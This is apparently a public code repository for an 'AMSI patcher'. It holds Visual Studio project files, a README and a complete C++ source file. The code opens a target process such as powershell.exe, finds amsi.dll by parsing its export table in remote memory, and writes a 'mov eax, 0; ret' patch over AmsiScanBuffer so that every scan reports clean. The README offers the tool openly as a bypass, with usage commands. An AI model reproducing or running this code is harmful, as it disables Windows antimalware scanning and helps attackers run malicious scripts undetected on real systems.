├── AMSI-PeParse-Patch ├── AMSI-PeParse-Patch.vcxproj.user ├── AMSI-PeParse-Patch.vcxproj.filters ├── AMSI-PeParse-Patch.vcxproj └── Patch.cpp ├── AMSI-PeParse-Patch.sln └── README.md /AMSI-PeParse-Patch/AMSI-PeParse-Patch.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /AMSI-PeParse-Patch/AMSI-PeParse-Patch.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Zdrojové soubory 20 | 21 | 22 | -------------------------------------------------------------------------------- /AMSI-PeParse-Patch.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.13.35931.197 d17.13 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "AMSI-PeParse-Patch", "AMSI-PeParse-Patch\AMSI-PeParse-Patch.vcxproj", "{0E9A8CD9-ECE8-4A64-B0FD-DCF20810FB4A}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {0E9A8CD9-ECE8-4A64-B0FD-DCF20810FB4A}.Debug|x64.ActiveCfg = Debug|x64 17 | {0E9A8CD9-ECE8-4A64-B0FD-DCF20810FB4A}.Debug|x64.Build.0 = Debug|x64 18 | {0E9A8CD9-ECE8-4A64-B0FD-DCF20810FB4A}.Debug|x86.ActiveCfg = Debug|Win32 19 | {0E9A8CD9-ECE8-4A64-B0FD-DCF20810FB4A}.Debug|x86.Build.0 = Debug|Win32 20 | {0E9A8CD9-ECE8-4A64-B0FD-DCF20810FB4A}.Release|x64.ActiveCfg = Release|x64 21 | {0E9A8CD9-ECE8-4A64-B0FD-DCF20810FB4A}.Release|x64.Build.0 = Release|x64 22 | {0E9A8CD9-ECE8-4A64-B0FD-DCF20810FB4A}.Release|x86.ActiveCfg = Release|Win32 23 | {0E9A8CD9-ECE8-4A64-B0FD-DCF20810FB4A}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {E814085D-B1DA-4522-937C-780D70AAB5CF} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 🛡️ EvilByte AMSI Patcher 2 | 3 | 🔍 Bypasses AMSI by remotely patching AmsiScanBuffer function in target processes. 4 | 5 | ## 🚀 Quick Usage 6 | 7 | ``` 8 | AMSI-PeParse-Patch.exe powershell.exe # By name 9 | AMSI-PeParse-Patch.exe 1234 # By PID (you can use in powershell $pid) 10 | ``` 11 | 12 | ## ⚙️ How It Works 13 | 14 | 1. 🎯 **Target Process** 15 | - Opens handle to remote process with `PROCESS_ALL_ACCESS` 16 | 17 | 2. 🔎 **Find amsi.dll** 18 | - Lists loaded modules with `EnumProcessModules` 19 | - Locates amsi.dll in target process 20 | 21 | 3. 🧠 **Memory Analysis** 22 | - Explicit individual `ReadProcessMemory()` calls: 23 | 1. Reads DOS header from module base address 24 | 2. Reads NT headers from base + e_lfanew offset 25 | 3. Stores RVAs of import/export directories 26 | - Creates Pe structure with pointers to remote memory structures 27 | 28 | 4. 🔍 **Locate Function** 29 | - Reads export tables remotely 30 | - Searches for "AmsiScanBuffer" string 31 | - Translates to actual memory address 32 | 33 | 5. 💉 **Patch Memory** 34 | - Changes protection with `VirtualProtectEx` 35 | - Writes patch `B8 00 00 00 00 C3` (mov eax, 0; ret) 36 | - AmsiScanBuffer now returns "clean" for ANY content 37 | 38 | # PoC: 39 | ![image](https://github.com/user-attachments/assets/bf9806b0-59a4-4fc8-bfc1-a4d2d6b53419) 40 | 41 | 42 | ## 🔐 Technical Notes 43 | 44 | - 🧩 Works on x86 and x64 processes 45 | - 🪄 No process restart needed 46 | - 🏭 Common target: powershell.exe. 47 | 48 | ## 📄 License 49 | 50 | Copyright © 2025 EvilBytecode. All rights reserved. 51 | -------------------------------------------------------------------------------- /AMSI-PeParse-Patch/AMSI-PeParse-Patch.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 17.0 23 | Win32Proj 24 | {0e9a8cd9-ece8-4a64-b0fd-dcf20810fb4a} 25 | AMSIPeParsePatch 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | true 77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 78 | true 79 | 80 | 81 | Console 82 | true 83 | 84 | 85 | 86 | 87 | Level3 88 | true 89 | true 90 | true 91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | true 93 | 94 | 95 | Console 96 | true 97 | true 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 106 | true 107 | stdcpp17 108 | 109 | 110 | Console 111 | true 112 | 113 | 114 | 115 | 116 | Level3 117 | true 118 | true 119 | true 120 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 121 | true 122 | 123 | 124 | Console 125 | true 126 | true 127 | true 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | -------------------------------------------------------------------------------- /AMSI-PeParse-Patch/Patch.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | namespace evilbyte { 9 | 10 | struct Pe { 11 | HMODULE ImageBase; 12 | PIMAGE_DOS_HEADER DosHeader; 13 | PIMAGE_NT_HEADERS NtHeaders; 14 | IMAGE_OPTIONAL_HEADER OptionalHeader; 15 | IMAGE_FILE_HEADER FileHeader; 16 | PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor; 17 | PIMAGE_EXPORT_DIRECTORY ExportDirectory; 18 | }; 19 | 20 | Pe ParseRemotePe(HANDLE hProcess, LPCWSTR moduleName) { 21 | Pe pe = { 0 }; 22 | HMODULE hModules[1024]; 23 | DWORD cbNeeded; 24 | 25 | if (!EnumProcessModules(hProcess, hModules, sizeof(hModules), &cbNeeded)) return pe; 26 | 27 | HMODULE targetModule = NULL; 28 | wchar_t modulePath[MAX_PATH]; 29 | 30 | for (DWORD i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) { 31 | if (GetModuleFileNameExW(hProcess, hModules[i], modulePath, MAX_PATH)) { 32 | wchar_t* fileName = wcsrchr(modulePath, L'\\'); 33 | if (fileName && _wcsicmp(fileName + 1, moduleName) == 0) { 34 | targetModule = hModules[i]; 35 | break; 36 | } 37 | } 38 | } 39 | 40 | if (!targetModule) return pe; 41 | 42 | MODULEINFO moduleInfo; 43 | if (!GetModuleInformation(hProcess, targetModule, &moduleInfo, sizeof(moduleInfo))) return pe; 44 | 45 | pe.ImageBase = targetModule; 46 | 47 | IMAGE_DOS_HEADER dosHeader; 48 | if (!ReadProcessMemory(hProcess, targetModule, &dosHeader, sizeof(IMAGE_DOS_HEADER), NULL)) return pe; 49 | pe.DosHeader = (PIMAGE_DOS_HEADER)targetModule; 50 | 51 | IMAGE_NT_HEADERS ntHeaders; 52 | if (!ReadProcessMemory(hProcess, (BYTE*)targetModule + dosHeader.e_lfanew, &ntHeaders, sizeof(IMAGE_NT_HEADERS), NULL)) return pe; 53 | pe.NtHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetModule + dosHeader.e_lfanew); 54 | pe.OptionalHeader = ntHeaders.OptionalHeader; 55 | pe.FileHeader = ntHeaders.FileHeader; 56 | 57 | pe.ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD_PTR)targetModule + ntHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); 58 | pe.ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)targetModule + ntHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); 59 | 60 | return pe; 61 | } 62 | 63 | DWORD GetProcessIdByName(const std::wstring& processName) { 64 | HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 65 | if (snapshot == INVALID_HANDLE_VALUE) return 0; 66 | 67 | PROCESSENTRY32W processEntry = { sizeof(PROCESSENTRY32W) }; 68 | if (Process32FirstW(snapshot, &processEntry)) { 69 | do { 70 | if (_wcsicmp(processEntry.szExeFile, processName.c_str()) == 0) { 71 | CloseHandle(snapshot); 72 | return processEntry.th32ProcessID; 73 | } 74 | } while (Process32NextW(snapshot, &processEntry)); 75 | } 76 | 77 | CloseHandle(snapshot); 78 | return 0; 79 | } 80 | 81 | bool PatchAmsiScanBuffer(HANDLE hProcess, const Pe& amsiPe) { 82 | IMAGE_EXPORT_DIRECTORY exportDir; 83 | if (!ReadProcessMemory(hProcess, amsiPe.ExportDirectory, &exportDir, sizeof(IMAGE_EXPORT_DIRECTORY), NULL)) return false; 84 | 85 | DWORD* addressOfFunctions = new DWORD[exportDir.NumberOfFunctions]; 86 | DWORD* addressOfNames = new DWORD[exportDir.NumberOfNames]; 87 | WORD* addressOfNameOrdinals = new WORD[exportDir.NumberOfNames]; 88 | 89 | bool success = false; 90 | do { 91 | if (!ReadProcessMemory(hProcess, (LPVOID)((DWORD_PTR)amsiPe.ImageBase + exportDir.AddressOfFunctions), 92 | addressOfFunctions, exportDir.NumberOfFunctions * sizeof(DWORD), NULL)) break; 93 | 94 | if (!ReadProcessMemory(hProcess, (LPVOID)((DWORD_PTR)amsiPe.ImageBase + exportDir.AddressOfNames), 95 | addressOfNames, exportDir.NumberOfNames * sizeof(DWORD), NULL)) break; 96 | 97 | if (!ReadProcessMemory(hProcess, (LPVOID)((DWORD_PTR)amsiPe.ImageBase + exportDir.AddressOfNameOrdinals), 98 | addressOfNameOrdinals, exportDir.NumberOfNames * sizeof(WORD), NULL)) break; 99 | 100 | DWORD_PTR amsiScanBufferRVA = 0; 101 | for (DWORD i = 0; i < exportDir.NumberOfNames; i++) { 102 | char functionName[256] = { 0 }; 103 | if (!ReadProcessMemory(hProcess, (LPVOID)((DWORD_PTR)amsiPe.ImageBase + addressOfNames[i]), 104 | functionName, sizeof(functionName) - 1, NULL)) continue; 105 | 106 | if (strcmp(functionName, "AmsiScanBuffer") == 0) { 107 | WORD ordinal = addressOfNameOrdinals[i]; 108 | amsiScanBufferRVA = addressOfFunctions[ordinal]; 109 | break; 110 | } 111 | } 112 | 113 | if (amsiScanBufferRVA == 0) break; 114 | 115 | LPVOID amsiScanBufferAddr = (LPVOID)((DWORD_PTR)amsiPe.ImageBase + amsiScanBufferRVA); 116 | std::cout << "AmsiScanBuffer: 0x" << std::hex << amsiScanBufferAddr << std::dec << std::endl; 117 | 118 | unsigned char patch[] = { 0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3 }; 119 | 120 | DWORD oldProtect; 121 | if (!VirtualProtectEx(hProcess, amsiScanBufferAddr, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect)) break; 122 | 123 | if (!WriteProcessMemory(hProcess, amsiScanBufferAddr, patch, sizeof(patch), NULL)) { 124 | VirtualProtectEx(hProcess, amsiScanBufferAddr, sizeof(patch), oldProtect, &oldProtect); 125 | break; 126 | } 127 | 128 | VirtualProtectEx(hProcess, amsiScanBufferAddr, sizeof(patch), oldProtect, &oldProtect); 129 | success = true; 130 | } while (false); 131 | 132 | delete[] addressOfFunctions; 133 | delete[] addressOfNames; 134 | delete[] addressOfNameOrdinals; 135 | 136 | return success; 137 | } 138 | 139 | void DisplayUsage() { 140 | std::cout << "Usage: AMSI-PeParse-Patch.exe " << std::endl; 141 | std::cout << " process_name_or_pid: Target process name (e.g., powershell.exe) or process ID" << std::endl; 142 | } 143 | 144 | } 145 | 146 | int main(int argc, char* argv[]) { 147 | if (argc != 2) { 148 | evilbyte::DisplayUsage(); 149 | return 1; 150 | } 151 | 152 | std::string input = argv[1]; 153 | DWORD pid = std::all_of(input.begin(), input.end(), ::isdigit) 154 | ? std::stoul(input) 155 | : evilbyte::GetProcessIdByName(std::wstring(input.begin(), input.end())); 156 | 157 | if (pid == 0) { 158 | std::cerr << "Process '" << input << "' not found" << std::endl; 159 | return 1; 160 | } 161 | 162 | std::cout << "Target process ID: " << pid << std::endl; 163 | 164 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); 165 | if (!hProcess) { 166 | std::cerr << "Failed to open process. Error: " << GetLastError() << std::endl; 167 | return 1; 168 | } 169 | 170 | auto amsi = evilbyte::ParseRemotePe(hProcess, L"amsi.dll"); 171 | if (!amsi.ImageBase) { 172 | std::cerr << "Failed to parse amsi.dll" << std::endl; 173 | CloseHandle(hProcess); 174 | return 1; 175 | } 176 | 177 | std::cout << "Found amsi.dll at: 0x" << std::hex << amsi.ImageBase << std::dec << std::endl; 178 | 179 | if (evilbyte::PatchAmsiScanBuffer(hProcess, amsi)) 180 | std::cout << "AMSI patched successfully in PID " << pid << std::endl; 181 | else 182 | std::cerr << "Failed to patch AMSI in PID " << pid << std::endl; 183 | 184 | CloseHandle(hProcess); 185 | return 0; 186 | } --------------------------------------------------------------------------------